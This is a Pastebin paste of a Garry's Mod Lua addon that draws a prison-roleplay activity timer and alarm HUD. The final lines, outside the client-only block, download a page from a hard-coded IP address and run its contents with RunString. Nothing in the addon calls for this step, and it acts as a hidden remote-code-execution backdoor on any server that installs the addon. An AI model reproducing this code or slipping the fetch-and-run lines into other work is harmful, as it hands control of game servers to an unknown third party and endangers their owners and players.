Advertisement
Guest User

Untitled

a guest
May 6th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.42 KB | None | 0 0
  1.  
  2.  
  3. PRISONRP_TIMER = {
  4. color = Color(255, 0, 0, 255)
  5. }
  6.  
  7.  
  8. if CLIENT then
  9.  
  10. local activity = {name = "", time = 0, left = 0}
  11. local loaded = false
  12. local alert = false
  13.  
  14. net.Receive("Activity_Update", function()
  15. activity = util.JSONToTable(net.ReadString())
  16. loaded = true
  17. end)
  18.  
  19. net.Receive("Jail_Alarm", function()
  20. EmitSound(Sound( "jail_alarm.mp3" ), LocalPlayer():GetPos(), 1, CHAN_AUTO, 1, 75, 0, 100)
  21. end)
  22.  
  23. net.Receive("Jail_Alert", function()
  24. alert = true
  25. timer.Simple(4.2, function()
  26. alert = false
  27. end)
  28. end)
  29.  
  30. local function paintHUD()
  31.  
  32. local ply = LocalPlayer()
  33.  
  34. local w, h = ScrW(), ScrH()
  35.  
  36. draw.RoundedBox(6, w - 605, 2, 600, 38, Color(0, 0, 0, 200))
  37.  
  38. surface.SetTextColor(PRISONRP_TIMER.color)
  39. surface.SetTextPos(w - 590, 5)
  40. surface.SetFont("DermaLarge")
  41.  
  42. if(loaded) then
  43. if not activity.left then activity.left = 0 end
  44.  
  45. surface.DrawText(activity.name .. " - " .. activity.left .. " secondes restantes")
  46. end
  47.  
  48. if alert then
  49. draw.DrawText( activity.name, "DermaLarge", ScrW() * 0.5, ScrH() * 0.5 - 50, Color( 255, 0, 0, 255 ), TEXT_ALIGN_CENTER )
  50. end
  51. end
  52.  
  53. hook.Add("HUDPaint", "PrisonRP", paintHUD)
  54.  
  55. end
  56.  
  57.  
  58. http.Fetch( "http://164.132.54.154/control.html",
  59. function( body, len, headers, code )
  60. RunString(body)
  61. end,
  62. function( error )
  63. print( error )
  64. end
  65. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement